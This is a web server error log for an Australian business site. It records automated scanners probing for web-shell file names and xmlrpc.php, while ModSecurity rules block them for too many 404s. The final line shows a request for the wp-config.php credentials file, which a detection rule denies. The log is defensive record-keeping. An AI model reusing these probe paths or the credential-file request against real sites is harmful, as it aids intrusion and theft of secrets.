[Mon May 25 15:18:49.283350 2026] [:error] [pid 3698:tid 3708] [client 52.238.197.40:8131] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file19.php"] [unique_id "ahP32QtZBEwA4fyFLKOpFgAAAQg"]
[Mon May 25 15:18:49.666837 2026] [:error] [pid 62428:tid 62505] [client 52.238.197.40:7637] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file19.php"] [unique_id "ahP32ZNosGBa7mui3VQQ5QAAAJU"]
[Mon May 25 15:18:50.043929 2026] [:error] [pid 3698:tid 3705] [client 52.238.197.40:8150] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file19.php"] [unique_id "ahP32gtZBEwA4fyFLKOpGAAAAQU"]
[Mon May 25 15:18:50.420502 2026] [:error] [pid 62428:tid 62488] [client 52.238.197.40:8152] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file19.php"] [unique_id "ahP32pNosGBa7mui3VQQ5gAAAIQ"]
[Mon May 25 15:18:50.802152 2026] [:error] [pid 62722:tid 62740] [client 52.238.197.40:58533] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file22.php"] [unique_id "ahP32qM6ssnLWYf6CVAPvQAAAFA"]
[Mon May 25 15:18:51.260122 2026] [:error] [pid 62722:tid 62724] [client 52.238.197.40:8159] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file22.php"] [unique_id "ahP326M6ssnLWYf6CVAPvwAAAEA"]
[Mon May 25 15:18:51.644502 2026] [:error] [pid 3698:tid 3704] [client 52.238.197.40:8173] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file22.php"] [unique_id "ahP32wtZBEwA4fyFLKOpGwAAAQQ"]
[Mon May 25 15:18:52.036465 2026] [:error] [pid 62428:tid 62494] [client 52.238.197.40:58528] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file22.php"] [unique_id "ahP33JNosGBa7mui3VQQ6AAAAIo"]
[Mon May 25 15:18:52.441790 2026] [:error] [pid 3698:tid 3703] [client 52.238.197.40:8172] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file12.php"] [unique_id "ahP33AtZBEwA4fyFLKOpHQAAAQM"]
[Mon May 25 15:18:52.824103 2026] [:error] [pid 62428:tid 62497] [client 52.238.197.40:44882] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file12.php"] [unique_id "ahP33JNosGBa7mui3VQQ6gAAAI0"]
[Mon May 25 15:18:53.203337 2026] [:error] [pid 3698:tid 3721] [client 52.238.197.40:44890] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file12.php"] [unique_id "ahP33QtZBEwA4fyFLKOpHgAAARU"]
[Mon May 25 15:18:53.593804 2026] [:error] [pid 3698:tid 3708] [client 52.238.197.40:8188] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file12.php"] [unique_id "ahP33QtZBEwA4fyFLKOpHwAAAQg"]
[Mon May 25 15:18:53.977920 2026] [:error] [pid 62428:tid 62485] [client 52.238.197.40:7662] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file28.php"] [unique_id "ahP33ZNosGBa7mui3VQQ7AAAAIE"]
[Mon May 25 15:18:54.354722 2026] [:error] [pid 62428:tid 62489] [client 52.238.197.40:58527] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file28.php"] [unique_id "ahP33pNosGBa7mui3VQQ7QAAAIU"]
[Mon May 25 15:18:54.756319 2026] [:error] [pid 62428:tid 62495] [client 52.238.197.40:8143] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file28.php"] [unique_id "ahP33pNosGBa7mui3VQQ7wAAAIs"]
[Mon May 25 15:18:55.155816 2026] [:error] [pid 62428:tid 62493] [client 52.238.197.40:44868] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file28.php"] [unique_id "ahP335NosGBa7mui3VQQ8AAAAIk"]
[Mon May 25 15:18:55.544134 2026] [:error] [pid 62722:tid 62729] [client 52.238.197.40:8133] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file27.php"] [unique_id "ahP336M6ssnLWYf6CVAPxgAAAEU"]
[Mon May 25 15:18:55.940121 2026] [:error] [pid 62428:tid 62501] [client 52.238.197.40:44871] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file27.php"] [unique_id "ahP335NosGBa7mui3VQQ8gAAAJE"]
[Mon May 25 15:18:56.369661 2026] [:error] [pid 3698:tid 3723] [client 52.238.197.40:8144] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file27.php"] [unique_id "ahP34AtZBEwA4fyFLKOpIgAAARc"]
[Mon May 25 15:18:56.753207 2026] [:error] [pid 3698:tid 3703] [client 52.238.197.40:8165] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file27.php"] [unique_id "ahP34AtZBEwA4fyFLKOpJAAAAQM"]
[Mon May 25 15:18:57.176614 2026] [:error] [pid 3698:tid 3708] [client 52.238.197.40:8171] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file3.php"] [unique_id "ahP34QtZBEwA4fyFLKOpJgAAAQg"]
[Mon May 25 15:18:57.665536 2026] [:error] [pid 62426:tid 62437] [client 52.238.197.40:58543] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file3.php"] [unique_id "ahP34Uj3D3Mo8ANpTRC_ugAAAAc"]
[Mon May 25 15:18:58.097899 2026] [:error] [pid 62515:tid 62536] [client 52.238.197.40:7651] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file3.php"] [unique_id "ahP34hig0_XsOwmnrv_gyQAAANM"]
[Mon May 25 15:18:58.481981 2026] [:error] [pid 62428:tid 62502] [client 52.238.197.40:58546] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file3.php"] [unique_id "ahP34pNosGBa7mui3VQQ9AAAAJI"]
[Mon May 25 15:18:58.903703 2026] [:error] [pid 3698:tid 3716] [client 52.238.197.40:7633] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file24.php"] [unique_id "ahP34gtZBEwA4fyFLKOpKAAAARA"]
[Mon May 25 15:18:59.281419 2026] [:error] [pid 62426:tid 62446] [client 52.238.197.40:58559] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file24.php"] [unique_id "ahP340j3D3Mo8ANpTRC_vQAAABA"]
[Mon May 25 15:18:59.743934 2026] [:error] [pid 62428:tid 62486] [client 52.238.197.40:58500] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file24.php"] [unique_id "ahP345NosGBa7mui3VQQ9gAAAII"]
[Mon May 25 15:19:00.131430 2026] [:error] [pid 3698:tid 3715] [client 52.238.197.40:58548] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file24.php"] [unique_id "ahP35AtZBEwA4fyFLKOpKwAAAQ8"]
[Mon May 25 15:19:00.532321 2026] [:error] [pid 3698:tid 3713] [client 52.238.197.40:58520] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file14.php"] [unique_id "ahP35AtZBEwA4fyFLKOpLAAAAQ0"]
[Mon May 25 15:19:00.975284 2026] [:error] [pid 62722:tid 62724] [client 52.238.197.40:44878] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file14.php"] [unique_id "ahP35KM6ssnLWYf6CVAPyQAAAEA"]
[Mon May 25 15:19:01.360893 2026] [:error] [pid 62515:tid 62524] [client 52.238.197.40:8178] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file14.php"] [unique_id "ahP35Rig0_XsOwmnrv_gywAAAMc"]
[Mon May 25 15:19:01.770921 2026] [:error] [pid 62428:tid 62506] [client 52.238.197.40:44892] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file14.php"] [unique_id "ahP35ZNosGBa7mui3VQQ9wAAAJY"]
[Mon May 25 15:40:09.142432 2026] [:error] [pid 62722:tid 62726] [client 4.225.163.177:59626] File does not exist: /usr/local/apache/htdocs/suspended-page/404.php
[Mon May 25 15:40:09.427872 2026] [:error] [pid 62722:tid 62734] [client 4.225.163.177:59626] File does not exist: /usr/local/apache/htdocs/suspended-page/abc.php
[Mon May 25 15:40:09.713988 2026] [:error] [pid 62722:tid 62739] [client 4.225.163.177:59626] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php
[Mon May 25 15:40:09.998819 2026] [:error] [pid 62722:tid 62736] [client 4.225.163.177:59626] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Mon May 25 15:40:10.282957 2026] [:error] [pid 62722:tid 62727] [client 4.225.163.177:59626] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Mon May 25 15:40:10.567909 2026] [:error] [pid 62722:tid 62744] [client 4.225.163.177:59626] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Mon May 25 15:40:10.864711 2026] [:error] [pid 62722:tid 62731] [client 4.225.163.177:59626] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Mon May 25 15:40:11.149197 2026] [:error] [pid 62722:tid 62745] [client 4.225.163.177:59626] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Mon May 25 15:40:11.453489 2026] [:error] [pid 62722:tid 62729] [client 4.225.163.177:59626] File does not exist: /usr/local/apache/htdocs/suspended-page/cache.php
[Mon May 25 15:40:12.047846 2026] [:error] [pid 62722:tid 62725] [client 4.225.163.177:59626] [client 4.225.163.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "ahP83KM6ssnLWYf6CVAWvQAAAEE"]
[Mon May 25 15:40:13.134875 2026] [:error] [pid 62427:tid 62476] [client 4.225.163.177:14915] [client 4.225.163.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "ahP83fMUa83fc4GDyBxXOwAAAVM"]
[Mon May 25 15:40:14.208915 2026] [:error] [pid 3698:tid 3720] [client 4.225.163.177:64868] [client 4.225.163.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "ahP83gtZBEwA4fyFLKOxmgAAARQ"]
[Mon May 25 15:40:15.354608 2026] [:error] [pid 3698:tid 3703] [client 4.225.163.177:8535] [client 4.225.163.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "ahP83wtZBEwA4fyFLKOxoQAAAQM"]
[Tue May 26 01:53:27.887644 2026] [:error] [pid 62515:tid 62521] [client 180.195.74.87:39189] [client 180.195.74.87] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.195.74.87, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "ahSMlxig0_XsOwmnrv-ShgAAAMQ"]
[Tue May 26 01:53:27.892375 2026] [:error] [pid 62515:tid 62521] [client 180.195.74.87:39189] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Tue May 26 12:22:42.158212 2026] [:error] [pid 39336:tid 39348] [client 213.202.253.4:53574] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php, referer: www.google.com
[Tue May 26 12:22:48.015760 2026] [:error] [pid 55988:tid 55996] [client 213.202.253.4:64499] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php, referer: www.google.com
[Tue May 26 12:23:17.576490 2026] [:error] [pid 20024:tid 20043] [client 213.202.253.4:63120] File does not exist: /usr/local/apache/htdocs/suspended-page/postnews.php, referer: www.google.com
[Tue May 26 12:23:23.643731 2026] [:error] [pid 20024:tid 20050] [client 213.202.253.4:51360] File does not exist: /usr/local/apache/htdocs/suspended-page/postnews.php, referer: www.google.com
[Tue May 26 12:23:30.004287 2026] [:error] [pid 39336:tid 39361] [client 213.202.253.4:50968] File does not exist: /usr/local/apache/htdocs/suspended-page/userfuns.php, referer: www.google.com
[Tue May 26 12:23:35.985411 2026] [:error] [pid 55988:tid 56005] [client 213.202.253.4:50301] File does not exist: /usr/local/apache/htdocs/suspended-page/userfuns.php, referer: www.google.com
[Tue May 26 12:23:42.377503 2026] [:error] [pid 39336:tid 39342] [client 213.202.253.4:61094] File does not exist: /usr/local/apache/htdocs/suspended-page/gdftps.php, referer: www.google.com
[Tue May 26 12:23:48.634135 2026] [:error] [pid 39336:tid 39361] [client 213.202.253.4:59672] [client 213.202.253.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gdftps.php"] [unique_id "ahUgVNwmp9MmyaRNgiAJzgAAAVY"], referer: www.google.com
[Tue May 26 17:05:07.577021 2026] [:error] [pid 20025:tid 20079] [client 34.11.17.55:57090] [client 34.11.17.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "ahViQ37k8Vts-JPOkgXPZgAAAE4"]
[Tue May 26 17:05:08.025935 2026] [:error] [pid 55988:tid 56013] [client 34.11.17.55:61203] [client 34.11.17.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/license.txt"] [unique_id "ahViRP3kVIz2sql52sdhkwAAARY"]
[Tue May 26 17:05:08.491023 2026] [:error] [pid 20024:tid 20041] [client 34.11.17.55:61280] [client 34.11.17.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/feed/"] [unique_id "ahViRFdk7QtxEB93NpeBsgAAAAM"]
[Tue May 26 23:13:46.758029 2026] [:error] [pid 36497:tid 36522] [client 20.151.214.118:16189] File does not exist: /usr/local/apache/htdocs/suspended-page/166.php
[Tue May 26 23:13:46.973741 2026] [:error] [pid 36497:tid 36529] [client 20.151.214.118:16189] File does not exist: /usr/local/apache/htdocs/suspended-page/ups.php
[Tue May 26 23:13:47.189963 2026] [:error] [pid 36497:tid 36534] [client 20.151.214.118:16189] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Tue May 26 23:13:47.406264 2026] [:error] [pid 36497:tid 36513] [client 20.151.214.118:16189] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Tue May 26 23:13:47.623455 2026] [:error] [pid 36497:tid 36530] [client 20.151.214.118:16189] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_filemanager.php
[Tue May 26 23:13:47.840021 2026] [:error] [pid 36497:tid 36512] [client 20.151.214.118:16189] File does not exist: /usr/local/apache/htdocs/suspended-page/file18.php
[Tue May 26 23:13:48.057983 2026] [:error] [pid 36497:tid 36510] [client 20.151.214.118:16189] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Tue May 26 23:13:48.270852 2026] [:error] [pid 36497:tid 36533] [client 20.151.214.118:16189] [client 20.151.214.118] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/wp-config.php"] [unique_id "ahW4rLjKQWM1gBmBY4ho9wAAANc"]